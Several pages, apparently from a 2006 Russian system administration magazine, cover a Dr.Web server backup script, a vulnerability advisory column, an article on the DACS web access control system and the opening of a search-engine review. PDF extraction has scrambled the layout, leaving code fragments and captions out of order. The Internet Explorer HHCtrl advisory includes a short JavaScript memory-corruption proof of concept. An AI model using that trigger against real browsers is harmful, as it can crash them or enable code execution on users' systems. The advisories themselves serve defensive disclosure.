Чем хороша статистика, так это тем, что вы точно знаете, где и когда произо-шел факт инфицирования (см. рис. 2). А также названия наиболее «популяр-ных» вирусов в вашей организации, ко-торые были излечены (а иначе отку-да бы вы знали об их существовании?). Это здорово, когда организация неболь-шая и подключений к глобальным сетям нет. Однако и в таких условиях вероят-ность того, что на ПЭВМ организации есть хотя бы один макровирус в доку-ментах Microsoft Word, в различного ро-да архивах, которые принесли сотрудники из дома, от зна-комых или еще откуда-нибудь, будет отличаться от нуле-вой. Лучше изначально считать, что «пациент скорее ин-фицирован, нежели здоров». Однако и панику разводить, конечно же, не стоит.

Серверная часть антивирусного комплекса периоди-чески производит действия, указанные в расписании. На-пример, каждый час происходит проверка на наличие но-вых обновлений и антивирусных баз. На рис. 3 приведе-но расписание, которое будет использовано по умолча-нию. Вы можете изменить его, добавив новый пункт или изменить время, когда необходимо производить те или иные действия.

Согласно расписанию происходит обновление комплек-са. Однако что именно обновлять? Чтобы узнать это, сто-ит заглянуть в пункт «Administration → Configure Repository». Репозитарий представлен 5 частями: сам сервер, антиви-русные базы, клиентская часть, консоль управления, агент. В настройках репозитария можно указать proxy-сервер, че-рез который вы выходите в Интернет и через который будут забираться новые версии продукта. Допустимо настраивать репозиторий как по отдельным компонентам, так и в це-лом (см. рис. 4, 5).

Работа над программным комплексом ведется посто-янно, и появляются все новые и новые функции. Когда я только начал работать с Enterprise Server, многих функ-ций просто не было. Например, не было просмотра теку-щей загруженности сервера, не было статистики по сум-марному трафику, прошедшему через антивирусный сер-вер и т. п. В новой версии (речь идет о 4.33) они представ-лены и, как мне кажется, очень удачно вписываются в об-щую картину (см. рис. 6, 7).

Рассказ был бы неполным, если бы я не упомянул о том, как делать регулярную выгрузку базы. Какая цель здесь преследуется? Во-первых, самое ценное в работе антиви-русного пакета – это информация о зарегистрированных станциях, точнее о hash-ключах, которые формируются при регистрации. Она хранится как на станции, так и в ба-зе антивирусного сервера. Отчасти по этим ключевым дан-ным происходит «узнавание» зарегистрированных станций. Во-вторых, знать, когда и где произошла «эпидемия» так-же важно. Поэтому даже если физически произойдет от-каз сервера и у вас будет резервная копия антивирусной базы, то ввод в эксплуатацию нового серверного «желе-за», взамен отказавшего займет довольно короткое вре-мя. Не нужно будет заново регистрировать станций. Смот-рите файл export_idb.sh.

Рисунок 2. Статистика по группе «Online».

Рисунок 4. Компонент репозитория «Enterprise Agent».

Рисунок 3. Расписание сервера.

Скрипт для выгрузки внутренней БД

#!/bin/sh

########################################################## Exporting internal DrWEB DB into .SQL dump script

72


Осталось добавить в cron новое расписание и вуаля!

В качестве заключенияНесмотря на то что существует множество альтернативных, как коммерческих, так и бесплатных антивирусных про-граммных решений, стоит отметить, что компания «ООО «Доктор Веб» была одной из первых, кто предложил по-добную методологию антивирусного управления. Что ка-сается качества программного кода, а именно безаварий-ность в работе рабочих станций при развертывании систе-мы и/или переходе со старой версии комплекса на новую, то в этой ситуации стоит понимать простые истины. Как и везде существуют стадии проверки и отладки, так и у рас-смотренного комплекса есть beta-версии, задача которых «отловить» острые моменты и устранить их. Если придер-живаться принципа здорового консерватизма и развер-тывать систему в стадии stable, то это позволит вам чи-тать страшные истории о последствиях установки систе-мы с улыбкой на устах.

На этом всё, успехов!

1. http://www.symantec.com.2. http://www.esetnod32.ru/products/ee.htm.3. http://www.sophos.com/products/es.4. http://www.mcafee.com/us/enterprise/index.html.5. http://www.f-secure.com/small_businesses/products/fsavwks.

html.6. http://www.panda-antivirus.ru/images2/panda-prod.html.7. http://solutions.drweb.com/business/esuite – Drweb Enterprise

Suite.8. http://www.kaspersky.ru/products?chapter=145665459.9. ftp://ftp.drweb.com/pub/drweb/esuite/drweb-es-4.33-200510280-

linux-debian-sarge.tar.gz.10. http://www.drweb.ru/download/627 – документация к продукту

Drweb ES.11. http://www.kaspersky.ru/corporatesolutions – Kaspersky Corporate

Suite.12. http://www.f-secure.com/products/anti-virus/enterprisesuite.13. http://eset.com/products/enterprise_edition.php.14. http://www.sophos.com/products/es/endpoint-server/security.

html.15. http://www.mcafee.com/us/enterprise/products/security_suite_

solutions/total_protection_solutions/total_protection_enterprise.html.

Рисунок 5. Общая настройка репозитория подразумевает глобальную настройку.

Рисунок 6. Суммарная статистика сервера.

Рисунок 7. Графические данные.

50 0 * * * /root/System/export_idb.sh > /dev/null 2>&1

# 28 Sep 2005, AB#########################################################

DATE=/usr/bin/dateIDBSH=/opt/drwcs/bin/drwidbshIDB=/opt/drwcs/var/dbinternal.dbsBZ2=/usr/bin/bzip2ECHO=/usr/bin/echoDRWENGINE=/etc/rc.d/rc.drwebd

OUTPATH=/root/System/drweb/

export LC_ALL="C"

$DRWENGINE stop echo "Engine Stopped";

echo "Sleep 10 seconds"; sleep 10s;

OUTPUT=`$ECHO IDB.$($DATE +%d_%b_%Y_-_%k_%M).sql.bz2`; echo "Exporting Internal DrwebDB into $OUTPUT ↵ .sql script";

$IDBSH $IDB ".dump" | $BZ2 > $OUTPATH$OUTPUT

echo "DrWEB IntDB dumped"

$DRWENGINE start

73№8, август 2006

bugtraq

Переполнение буфера при обработке JPEG-изображений в OperaПрограмма: Opera 8.54, возможно, более ранние версии.Опасность: Критическая.Описание: Целочисленное переполнение буфера сущест-вует из-за ошибки при обработке JPEG-изображений. Уда-ленный пользователь может с помощью специально сфор-мированного JPEG-изображения выполнить произвольный код на целевой системе.URL производителя: www.opera.com.Решение: Установите последнюю версию (9.0) с сайта про-изводителя.

Целочисленное переполнение буфера в Apple iTunesПрограмма: Apple iTunes версии до 6.0.5.Опасность: Высокая.Описание: Целочисленное переполнение буфера сущест-вует из-за ошибки при обработке AAC-медиафайлов (.M4A и .M4P), содержащих специально сформированное зна-чение sample_size_table. Удаленный пользователь может с помощью специально сформированного AAC-файла вы-звать повреждение памяти и выполнить произвольный код на целевой системе.URL производителя: www.apple.com/itunes.Решение: Установите последнюю версию (6.0.5) с сайта производителя.

Переполнение буфера в DHCP-клиенте в Microsoft WindowsПрограмма: Microsoft Windows 2000, Microsoft Windows XP, Microsoft Windows 2003.Опасность: Критическая.Описание: Уязвимость существует из-за ошибки провер-ки границ данных в DHCP-клиенте при обработке DHCP-от-ветов. Удаленный пользователь может послать специаль-но сформированный DHCP-пакет и выполнить произволь-ный код на целевой системе.URL производителя: www.microsoft.com.Решение: Установите исправление с сайта производи-теля.

Переполнение буфера в службе ServerПрограмма: Microsoft Windows 2000, Microsoft Windows XP, Microsoft Windows 2003.Опасность: Критическая.Описание: 1. Переполнение буфера существует в драйве-ре SRV.SYS службы Server при обработке Mailslot-сообще-ний. Удаленный пользователь может с помощью специаль-но сформированного пакета вызвать отказ в обслуживании или выполнить произвольный код на целевой системе.

2. Уязвимость существует из-за некорректной иници-ализации буфера при обработке SMB-пакетов. Удален-ный пользователь может с помощью специально сформи-рованного SMB-пакета просмотреть некоторые фрагмен-ты памяти.URL производителя: www.microsoft.com.Решение: Установите исправление с сайта производи-теля.

Целочисленное переполнение буфера в libwmfПрограмма: libwmf 0.2.8.4, возможно, другие версии.Опасность: Высокая.Описание: Целочисленное переполнение буфера сущест-вует из-за отсутствия проверки входных данных, получен-ных из WMF-файла. Удаленный пользователь может с по-мощью специально сформированного WMF-файла вызвать переполнение динамической памяти и выполнить произ-вольный код на целевой системе.URL производителя: wvware.sourceforge.net/libwmf.html.Решение: В настоящее время способов устранения уязви-мости не существует.

Повреждение памяти в HTML Help ActiveX-компоненте в Internet ExplorerПрограмма: Microsoft Internet Explorer 6.x.Опасность: Высокая.Описание: Уязвимость существует из-за ошибки в HTML Help ActiveX-компоненте (hhctrl.ocx) при обработке свойс-тва Image. Удаленный пользователь может установить не-сколько раз слишком длинную строку для уязвимого свойс-тва, вызвать повреждение памяти и выполнить произволь-ный код на целевой системе.

Пример:

URL производителя: www.microsoft.com.Решение: В настоящее время способов устранения уязви-мости не существует.

Составил Александр Антипов

function Demo() { var a = new ActiveXObject("Internet.HHCtrl.1"); var b = unescape("XXXX"); while (b.length < 256) b += b; for (var i=0; i<4096; i++) { a['Image'] = b + ""; }}<input type='button' onClick='Demo()' value='Start Demo!'>

Переполнение буфера в WinRARПрограмма: WinRAR 3.60 beta 6, возможно, более ран-ние версии.Опасность: Высокая.Описание: Уязвимость существует из-за ошибки при об-работке самораспаковывающихся SFX-архивов. Удален-ный пользователь может с помощью специально сформи-рованного архива вызвать переполнение буфера и выпол-нить произвольный код на целевой системе.URL производителя: www.rarlab.com.Решение: В настоящее время способов устранения уязви-мости не существует.

74

web

Недостатки базовой и digest-аутентификацийВ протоколе HTTP предусмотрено два типа аутентификации: basic и digest, ко-торые определены в RFC 2617. Их ме-ханизм очень подробно рассмотрен в статьях Алексея Мичурина [1, 2]. Ос-тановлюсь на недостатках.

Для базовой аутентификации са-мым главным недостатком является пе-

редача пароля в открытом виде. И, кро-ме того, веб-браузер запоминает эту информацию и передает ее серверу при каждом обращении, а если не очис-тить кэш браузера, то возможно полу-чить доступ к серверу без ввода паро-ля даже через неделю, месяц. Самое главное, что у злоумышленника всегда будет возможность перехватить логин и пароль и получить доступ ко всей ох-

раняемой области. Не защищена basic-схема и от перебора пароля.

В digest-схеме эти проблемы час-тично решены. По сети (опять же при каждом обращении) передается Response, который представляет со-бой контрольную (обычно MD5) сумму от комбинации логина, пароля, запра-шиваемого URL, метода HTTP и строки nonce, генерируемой сервером при от-

Контролируем доступ к веб-сервису с помощью DACS

Если для настольных систем проблему аутентификации и авторизации можно считать решенной, то стандартные механизмы, используемые в веб-сервисах, пока еще не удовлетворяют современным требованиям безопасности.

Сергей Яремчук

75№8, август 2006

web

вете. Все параметры, кроме последне-го, теоретически можно попробовать либо угадать, либо подобрать, поэто-му от алгоритма генерирования nonce во многом зависит уникальность всей комбинации. Хотя здесь также воз-можны варианты. Например, включе-ние в nonce метки времени позволя-ет не только сделать ее уникальной, но и контролировать время отклика, использование клиентского IP-адреса, откуда идут запросы, добавив счетчик соединений и контролировать количес-тво запросов, сделанных конкретным клиентом. К сожалению, современ-ные веб-серверы и браузеры пока еще не полностью поддерживают все спе-цификации и рекомендации. Поэтому если информация действительно име-ет ценность, то многие вопросы можно решить, применив в защищаемой об-ласти протокол SSL.

Это взгляд со стороны сети. Ад-министрирование при использовании как basic, так и digest-методов мож-но назвать простым, но только в слу-чае когда количество пользовате-лей или защищаемых ресурсов отно-сительно мало. Для ограничения до-ступа достаточно поместить в нуж-ный каталог файл .htaccess и создать файл с паролями при помощи htpasswd или htdigest. Если же каталогов мно-го, лучше все описания собрать в од-ном месте, т.е. файле конфигурации веб-сервера.

Еще одно отличие digest от basic-метода заключается в том, что пер-вый различает закрытые зоны (в пре-делах сервера), и пользователю при переходе между каталогами в одной зоне не надо повторно проходить про-цедуру аутентификации. Вот и все воз-можности. Но сегодня не редка ситуа-ция, когда в одной компании имеется несколько веб-серверов, которые рас-положены в разных, подчас террито-риально разнесенных подразделени-ях, и управляемых разными админис-траторами. Пользователи в зависи-мости от своих обязанностей должны иметь доступ к строго определенным ресурсам на каждом из них. Учитывая, что работники компании могут перехо-дить из отдела в отдел, увольняться, администраторам придется согласо-вывать все рабочие моменты по выда-че разрешений на доступ и удалению пользователей, иначе о безопасности

всей системы через некоторое время можно будет уже не говорить.

Знакомство с системой DACSСистема веб-аутентификации и уп-равления доступом DACS (Distributed Access Control System) представляет со-бой набор программ, позволяющих ог-раничить доступ пользователей к лю-бому ресурсу популярного веб-сервера Apache. Начало разработок датировано маем 2001 года. Дизайном, внедрением и поддержкой занимается небольшая канадская фирма-разработчик DSS (Distributed System Software) при содейс-твии Metalogic Software Corp. В настоя-щее время DACS является ключевым компонентом канадской государствен-ной информационной системы (National Forest Information System, NFIS).

Последние версии DACS распро-страняются под двойными лицензион-ными условиями: свободной и коммер-ческой. Если вы распространяете про-дукт, базирующийся на DACS, он дол-жен быть Open Source, иначе вы долж-ны приобрести коммерческую лицен-зию. Но если DACS просто использу-ется в работе, без распространения, то коммерческая лицензия не нужна. Но хотя DACS и может распространять-ся под Open Source-лицензией, проект таковым не является. За все разработ-ки отвечает только небольшая группа, хотя исправления от пользователей принимаются.

Первоначальная задача, на реше-ние которой был ориентирован DACS, – это упрощение использования и адми-нистрирования совместных веб-ресур-сов с сохранением максимальной безо-пасности. Используемая в DACS сис-тема аутентификации и авторизации позволяет очень точно установить па-раметры доступа и отслеживать взаи-модействие пользователей с сервером. Конструктивно DACS состоит из моду-ля Apache (mod_auth_dacs), через ко-торый веб-сервер связывается с DACS, для определения разрешений доступа к ресурсу, блока программ CGI, обеспе-чивающих веб-сервис DACS, и набора утилит, выполняющих административ-ные и вспомогательные функции. Поль-зователи в системе DACS представле-ны тождествами (identity). При полу-чении доступа к защищенной облас-ти он должен сначала идентифициро-

вать и удостоверить себя DACS. Обыч-но для этого применяется пара логин и пароль, но может быть использован цифровой сертификат или оба этих ме-тода одновременно. Здесь пока ниче-го не обычного. Отличие заключается в том, что система доступа DACS осу-ществлена при помощи ролевой моде-ли RBAC (role-based access control). Поэ-тому здесь логин не равен identity, поль-зователь может быть ассоциирован сразу с несколькими identity, и, наобо-рот, identity может описывать не только логин и системное имя (т.е. фактичес-ки имя процесса), но и другие парамет-ры (роль, IP-адрес, группу и пр.). Прави-ла контроля доступа, задаваемые ад-министратором, позволяют точно ука-зать кто, что и при каких условиях будет использовать ресурс. Поддерживается и анонимный, т.е. неавторизированный доступ к ресурсу.

СredentialsПользователю, успешно прошедше-му процедуру аутентификации, пре-доставляется криптографически за-щищенное удостоверение (credentials), которое является неким аналогом би-лета (tiket), используемого в системе Kerberos. Такое удостоверение в даль-нейшем подтверждает полномочия пользователя. Внутри удостоверения может содержаться имя пользовате-ля, роль, IP-адрес, с которого пользо-ватель зарегистрировался и куда был отправлен credentials, и время жизни. Пароль, как видите, не входит в состав удостоверения. При такой схеме ис-пользование пароля внутри credentials не является необходимым. Для макси-мального удобства и лучшего взаимо-действия credentials обычно возвраща-ется пользователю в виде cookie, ко-торый по умолчанию использует спе-цификации Netscape, но при необхо-димости синтаксис можно изменить в конфигурационном файле специ-альной директивой COOKIE_SYNTAX. Передача credentials всегда происхо-дит через SSL, что затрудняет его пе-рехват и повторное использование. Куки являются основным и рекомен-дуемым способом, хотя в принципе могут быть использованы и дополни-тельные расширения HTTP, например, описанные в RFC 2617 посредством WWW-Authenticate, либо применены другие методы безопасной передачи

76

web

(VPN). При этом в состав DACS входят утилиты, позволяющие самому созда-вать credentials, или получать их с веб-сервера для использования другими (возможно, не веб-утилитами) при-ложениями. Учитывая, что credentials являются основой работы DACS, от-ношение к их безопасности самое се-рьезное. Так, например, кроме шиф-рования самой куки, отдельно конт-ролируется отсутствие модификации при помощи хеша, где могут исполь-зоваться различные алгоритмы HMAC (Keyed-Hash Message Authentication Code), 160-бит NIST, SHA-1 или MD5. Ключ применяется отличный от ис-пользуемого при шифровании само-го удостоверения. Также кэш-каталог, в котором лежит текущий credentials, должен обязательно принадлежать то-му же пользователю, на чье имя выпи-сано удостоверение. И только он дол-жен иметь доступ в используемый ка-талог. Если это не так, во избежание попытки использования credentials посторонним, он должен быть отвер-гнут. Аналогичная ситуация и при по-пытке отправить credentials, созданный для другого IP-адреса, при соответс-твующих настройках сервер его отвер-гнет и запросит повторную аутентифи-кацию, и в том случае когда она прой-дет успешно, создаст новый credentials с новыми параметрами. Хотя такой ме-тод защиты, естественно, не подходит для тех случаев, когда адрес может из-меняться (например, при модемном со-единении) или пользователь находит-ся за NAT. Запрещено также исполь-зовать одному identity несколько дейс-твительных credentials, такая ситуация вызовет ошибку. И, как уже говори-лось, все credentials могут иметь огра-ниченное время жизни. По умолчанию оно не установлено, и администрато-ру следует его подобрать и выставить самостоятельно, исходя из требований безопасности и удобства. Если макси-мальное время жизни не установле-но, то в любом случае все credentials будут уничтожены, только после того как пользователь закроет окно браузе-ра или нажмет на кнопку выхода. Если аутентификация закончилась не удач-но, могут быть использованы различ-ные обработчики. Поэтому DACS мож-но использовать для реакции на лю-бые аварийные ситуации, например, перенаправляя незарегистрирован-

ных пользователей на страницу с ли-цензионным соглашением.

Юрисдикции и федерацииДальнейший разговор будет бесполе-зен, если не рассказать еще о двух цен-тральных структурах в системе DACS. Для удобства управления доступом к ресурсам DACS различает два поня-тия: юрисдикция (jurisdiction) и феде-рация (federation). Юрисдикция явля-ется минимальной автономной облас-тью, которая представляет веб-услуги и полностью отвечает за аутентифика-цию своих пользователей и за доступ к своим ресурсам. Территориально это может быть как веб-сервер целиком, так и его часть. Федерация является следующей ступенью и включает в се-бя одну (хотя если быть точнее, то две, так как понятие федерации в этом случае бессмысленно) или несколько юрисдикций. Все юрисдикции, прина-длежащие одной федерации должны иметь уникальное имя. В пределах фе-дерации все юрисдикции соглашают-ся соблюдать определенные правила, позволяющие сохранить безопасность и одновременно повысить удобство ис-пользования всей системы.

В федерации используется единый для всех 128-битный (по умолчанию) симметричный AES-ключ, а все юрис-дикции обмениваются информацией, позволяющей дешифровать, зашифро-вывать и контролировать целостность полученных credentials. Для пользова-теля (identity) это означает, что один раз подтвердив свои полномочия в юрис-дикции, он может при наличии соот-ветствующих разрешений без повтор-ной регистрации получить доступ к ре-сурсу, находящемуся в другой юрис-дикции одной федерации. Таким обра-зом, DACS поддерживает режим одно-кратной регистрации (SSO – single sign-on). Для администраторов упрощается поддержка сервиса, так как теперь он может следить за распределением ро-лей только в своей юрисдикции. Общее количество пользователей будет мень-ше, так как не надо заводить дополни-тельные акаунты на других серверах. Администратор доверенного сервера теперь будет решать, разрешать или запрещать доступ к своим ресурсам для определенных ролей, не вникая в подробности. Но это еще не все, на-чиная с версии 1.4.11 (март 2006) поя-

вился новый сервис dacs_auth_transfer, позволяющий передавать credentials не только между федерациями, но и дру-гими, в том числе не-DACS-системами, умеющими оперировать identity. В тер-минологии DACS такие федерации на-зываются присоединенными (affiliated) федерациями (хотя фактически пере-дача происходит между юрисдикция-ми). При этом передача не обязательно должна быть взаимной т.е. можно сво-бодно переходить из федерации А в Б, а наоборот необязательно. При переда-че credentials конвертируется в новую форму, которая будет признана другой стороной, но оригинальные удостове-рения у пользователя остаются и не из-меняются. При возвращении пользова-теля в родную федерацию ему опять выдается credentials, но если выданный ранее еще не закончил своего дейст-вия, то он считается более сильным, а новый признается недействитель-ным. Передача происходит при помо-щи SSL, тождество сервера проверяет-ся при помощи сертификатов и IP-ад-реса. Так как имя пользователя содер-жит и название федерации, то при пе-реходе в другую федерацию оно по-прежнему остается уникальным.

ИменаПоскольку пользователь может сво-бодно перемещаться между федера-циями и юрисдикциями без повтор-ной аутентификации, имя играет боль-шую роль в системе DACS. Кроме того, имя используется и для совместимости с различными методами аутентифика-ции. Поэтому в DACS принято несколь-ко вариантов присваивания имени. Имя текущей федерации описывается в конфигурационном файле dacs.conf в переменной FEDERATION_NAME. При работе формат такой:

Имя юрисдикции задается при по-мощи JURISDICTION_NAME, но в пра-вилах оно состоит из имени федера-ции, к которой она принадлежит, и име-ни юрисдикции:

Хотя для текущей федерации или отсутствии федераций ее имя может опускаться:

federation-name::

federation-name::jurisdiction-name:

77№8, август 2006

web

Добавив третий компонент, полу-чим имя пользователя:

Все имена чувствительны к регис-тру (если это не переопределено спе-циальными директивами). Для удобс-тва федерации и юрисдикции пишутся заглавными буквами, а пользователи – маленькими. Например, в credentials имя заносится в таком виде:

А можно и так:

В имени не должны встречаться знаки «* , : + ( ) ~ < > = | \ /» и «"». Все ос-тальные разрешены. Длина имен не ограничена, здесь просто стоит под-ходить к процессу творчески, чтобы при большом количестве юрисдик-ций и федераций можно было понять, о ком речь. Имя пользователя при за-просах передается как переменная DACS_USERNAME.

Но это в credentials. В правила в па-раметр user могут быть занесены груп-пы, IP-адреса, сети и под сети. Имена группы образуются аналогично поль-зовательским, только на первом месте должен стоять знак процента %.

Понятие группы в контексте DACS имеет двойное значение. С одной стороны, это списки пользователей в обычном понимании, с другой сто-роны, здесь могут быть указаны роли, под которыми здесь понимают инфор-мацию о членстве конкретного пользо-вателя в группах. В юрисдикции можно определить любое количество групп, на которые можно ссылаться в груп-пах и правилах в других юрисдикци-ях. То есть когда DACS нужно решить, к какой группе принадлежит сделав-ший запрос пользователь, система обращается к локальным группам, ро-ли, соответствующей пользователю,

и к группам, определенным другими юрисдикциями.

Например, такие пользователи в правилах будут легитимными:

Последние два правила описыва-ют соответственно авторизированно-го и неавторизированного пользовате-лей. Обратите внимание, что вот такие правила не равнозначны:

Первое соответствует всем успеш-но зарегистрировавшимся пользова-телям, второе только принадлежащим к юрисдикции HOME.

Если использовать пользовате-ля any, то запрос о соответствии име-ни в проверяемом правиле всегда бу-дет возвращать true. Также поддержи-ваются и некоторые операции. Напри-мер, такой конструкцией можно выде-лить всех пользователей admin любой юрисдикции:

или всем, кроме пользователя sergej:

Можно задавать и более развет-вленные конструкции, список всех поддерживаемых операторов найде-те в документации.

Например, для всех не sergej и не-авторизованных список будет выгля-деть так:

При создании более сложных конс-трукций можно создавать списки поль-зователей (user_list).

Правила контроля доступаКомпонентом, отвечающим за получе-ние решений о доступе, является сер-вис контроля доступа DACS (access control service – ACS). Реализован при помощи программы dacs_acs. Пос-ле успешной авторизации пользовате-

ля ACS производит поиск правил, со-ответствующих его тождеству. Здесь может быть применено несколько ва-риантов правил.

Иногда администратору нужно быстро произвести какое то дейс-твие, не обращаясь к правилам. Ча-ще всего необходимость такая возни-кает во временном отключении поль-зователя или целого участка сети. Для этих целей в DACS применяется т.н. revocation list. Такой список состо-ит из линий, в каждой описан пользо-ватель (все правила, указанные вы-ше, естественно, и здесь соблюдают-ся) и действие. Действий предусмот-рено всего два: deny и revoke. Первое означает запрет доступа и окончание дальнейшей обработки revocation list. Второе игнорирует полученное удос-товерение, делая пользователя фак-тически неавторизованным, обработ-ка списка при этом продолжается. На-пример:

Запрет доступа неаутентифициро-ванных пользователей:

Сброс всех удостоверений:

Запрет доступа на выходные:

Сброс всех удостоверений кро-ме полученных из внутренней сети, т.е. пользователь из внешней всегда будет анонимным:

После того как будет обработан revocation list, модуль ведет просмотр правил контроля доступа. Типич-ное правило состоит из двух частей – services и rule – и должно быть интуи-тивно понятно.

::jurisdiction-name:

federation-name:: ↵ jurisdiction-name:username

HOME::SALES:boss

%HOME::SALES:friends%::SALES:friends%SALES:friends%:friends

user name="SALES:boss"user name="%SALES:admin"user name="10.0.0.118"user name="192.168.0.0/24"user name="home.com"user name="HOME:"user name="auth"user name="unauth"

user name="auth"user name="HOME:auth"

user name="*:admin"

user("not *:sergej")

user("not *:sergej and noauth")

deny user("unauth")

revoke user("any")

deny time("wday") eq 6 or ↵ time("wday") eq 0

revoke not from("192.168.1.0/24")

<acl_rule> <services> <service url_pattern= ↵ "/cgi-bin/*"/> </services>

<rule order="allow,deny"> <allow> user("auth") </allow> </rule></acl_rule>

::SALES:bossSALES:boss:boss

78

web

Кроме того, DACS предоставля-ет возможность делегировать права на определенный ресурс другому поль-зователю. Выглядит это так:

Возможности по аутентификацииУправление аутентификацией пользо-вателя является еще одной из сильных сторон системы безопасности DACS. Непосредственно за аутентификацию отвечает юрисдикция, которой прина-длежит пользователь и который, ес-тественно, должен быть ей известен. В разных юрисдикциях в пределах федерации не обязательно использо-вать один и тот же способ аутентифи-кации. Администратор сам волен вы-бирать наиболее подходящий способ или их комбинацию, исходя из конк-ретных условий. При этом DACS уже имеет встроенные модули аутенти-фикации, но при необходимости мож-но использовать и имеющие в веб-сер-вере Apache.

Для обмена данными между сер-висом аутентификации DACS и мо-дулем аутентификации используется XML-протокол. Модуль аутентифика-ции сообщает DACS об успешной ау-тентификации и имени пользователя (через переменную REMOTE_USER), пользователь Apache при этом авто-матически преобразуется в пользо-вателя DACS. DACS расширяет стан-дартные возможности по аутентифи-кации Apache. Так DACS может удос-товерить пользователя, используя не-сколько методов: сертификат X.509 (через SSL); паролей UNIX или Apache (создан-

ных утилитами htpasswd, htdbm или htdigest);

Windows NT LAN Manager (NTLM); Microsoft Active Directory или LDAP; системы Pluggable Authentication

Modules (PAM); собственной базы логинов и паро-

лей; тождества установленного любым

модулем аутентификации Apache; внешней программы; комбинируя стили.

Basic- и digest-аутентификация мо-жет обрабатываться непосредственно

DACS, для генерирования credentials используется команда autologin, ко-торая позволяет DACS использовать любой из существующих методов ау-тентификации Apache при сохранении простоты конфигурации. Кроме того, начиная с версии 1.4.13, DACS подде-рживает еще одну систему аутенти-фикации Central Authentication Service (CAS), разрабатываемую проектом JA-SIG [5]. Кратко сервер CAS позво-ляет реализовать режим однократной регистрации всем легальным пользо-вателям для доступа к любому ресур-су (web, почта и пр.) путем реализа-ции режима прокси-аутентификации, посредством ticket (эта система силь-но напоминает Kerberos). CAS также поддерживает все доступные сегод-ня варианты аутентификации. Кроме того, как уже говорилось, можно со-здать более тонкое описание пара-метров доступа к ресурсам, в зависи-мости от IP-адреса, доменного имени, даты и времени суток, используемого метода аутентификации, расширения файла и прочих параметров. То есть фактически задать персональные па-раметры для доступа к любому ресур-су. После успешной регистрации на ос-новании данных пользователя (имени, группы, роли и т. д.) могут быть выпол-нены некоторые действия, например, перенаправление на определенную веб-страницу, необходимые для этого параметры сохранены в переменной AUTH_SUCCESS_HANDLER. Все за-просы регистрируются в контрольном журнале.

Совместимость и требованияАктуальной на момент написания ста-тьи является версия 1.4.13а с датой ре-лиза 2 июня 2006. Буква «а» появилась в результате небольшого недоразуме-ния, когда после релиза 1.4.13, состо-явшегося днем раньше, была обнару-жена ошибка, при определенных оп-циях завершающая конфигурирова-ние с ошибкой (Invalid boolean result value). Если DACS используется для веб-аутентификации то для его уста-новки потребуется Apache 2.0.х (жела-тельна последняя версия 2.0.58) и на-чиная с 1.4.13а уже возможно исполь-зование Apache 2.2. Поддержка вер-сии 1.3 уже закончена, как говорят раз-работчики, по причине малой ее акту-

альности. DACS может быть установ-лен в принципе на любую UNIX-плат-форму, где можно найти работающий компилятор GCC 3.3/3.4.

На сайте дается информация, что DACS успешно протестирован с та-кими дистрибутивами и платформа-ми CentOS (Red Hat Enterprise) Linux (AMD64), Solaris 10 (SunOS 5.10, x86), FreeBSD 5.X и 6.X (i686) и частично ис-пытана с Cygwin. Я собирал систему DACS на ALTLinux 3.0 и Slackware 10.1. На клиентской стороне не требуется установки специфичного программно-го обеспечения.

Что имеем?Из всего сказанного можно сделать вывод о том, что система DACS обла-дает достаточно мощными возможнос-тями при достаточной гибкости в на-стройках. Правда, для администрато-ра это означает, что придется провес-ти не один час за первоначальной на-стройкой всей системы. Имеет смысл использовать DACS в том случае, ког-да необходимо организовать доступ пользователей к нескольким серве-рам. Затраты на установку и настрой-ку затем с лихвой окупятся простотой сопровождения. Также, вероятно, име-ет смысл использовать DACS для то-го, чтобы унифицировать различные схемы аутентификации. Проект пре-доставляет большое количество до-кументации, которая, по моему мне-нию, несколько запутанна, хотя, ве-роятно, это связано с наличием мно-гочисленных понятий и вариантов на-строек. В документе «DACS Quick Start Tutorial» сказано, что тестовую конфи-гурацию можно собрать всего за 30 минут. Так ли это? Проверим в следу-ющий раз.

Успехов.

1. Мичурин А. Базовая HTTP-авториза-ция – защита от честных людей //«Сис-темный администратор», № 5, 2005 г. – С. 88 – 92.

2. Мичурин А. В чем сильные и слабые стороны HTTP digest-авторизации //«Системный администратор», № 10, 2005 г. – С. 44-51.

3. Сайт DSS – http://www.dss.ca.4. Сайт National Forest Information System –

http://www.nfis.org.5. Сайт проекта CAS – http://www.ja-sig.

org/products/cas/index.html.

<delegate url_pattern="/cgi-bin ↵ /myprog" rule_uri="my_acls"/>

80

web

Разные компании, разрабатыва-ющие поисковые движки, пыта-ются занять ниши на рынке, кто-

то совершенствует пользовательский интерфейс, другие заботятся о скоро-сти работы и функциональности, тре-тьи пытаются охватить все популярные платформы, а другие собирают все пе-речисленные возможности. Некото-рые разработчики поисковых движков не выдерживают конкуренции и выхо-дят из борьбы, иные переходят частич-но или полностью на «коммерческие рельсы». Надеюсь, обзор прольет свет на некоторые проекты, продемонстри-рует их преимущества и недостатки в различных задачах.

Задача. Файловый серверВ сети имеется файловый сервер под управлением ОС Linux. Для совмести-мости с различными задачами на сер-вере установлены популярные пакеты samba и proftpd. Количество докумен-тов – около 2 тысяч (занимаемый раз-мер на диске примерно 1,5 Гб), раз-личных форматов (txt, html, doc, xls, rtf), используется файловая система reiserfs (3-я версия). Отмечу, что боль-шая часть документов (около 80-85%) состоит из форматов MS Excel (xls) и MS Word (doc). Аппаратное обеспе-чение файлового сервера: AMD Athlon

2500+, 512 DDR 3200 (DUAL), HDD 160 Гб WesternDigital SATA (8 Мб кэш, 7200 оборотов). Именно этот докумен-тооборот мы и будем индексировать. Возможно, кто-то задастся вопросом: «Мы рассматриваем движки поиско-вых машин, почему бы не тестировать их на реальных внешних ресурсах, на-пример на www.samag.ru?» Сделано это для того, чтобы максимально не за-висеть от пропускной способности ка-нала. Поисковые машины будут уста-навливаться на практически идентич-ную машину, расположенную в данной сети. Пропускная способность локаль-ной сети 100 Мб (half duplex).

Все движки будут тестировать-ся с максимально едиными услови-ями, но все же отличными. Связано это с тем, что разные движки облада-ют различным функционалом, инстру-ментарием, некоторые иногда в чем-то ограничены (коммерческие версии). В конце обзора каждого движка будут даны примерные сравнительные ха-рактеристики.

Итак, приступим к обзору, уста-новке, конфигурированию и сравне-нию движков.

Обзор поисковых машинДвижки поисковых машин можно от-нести к двум категориям. Первые – кор-

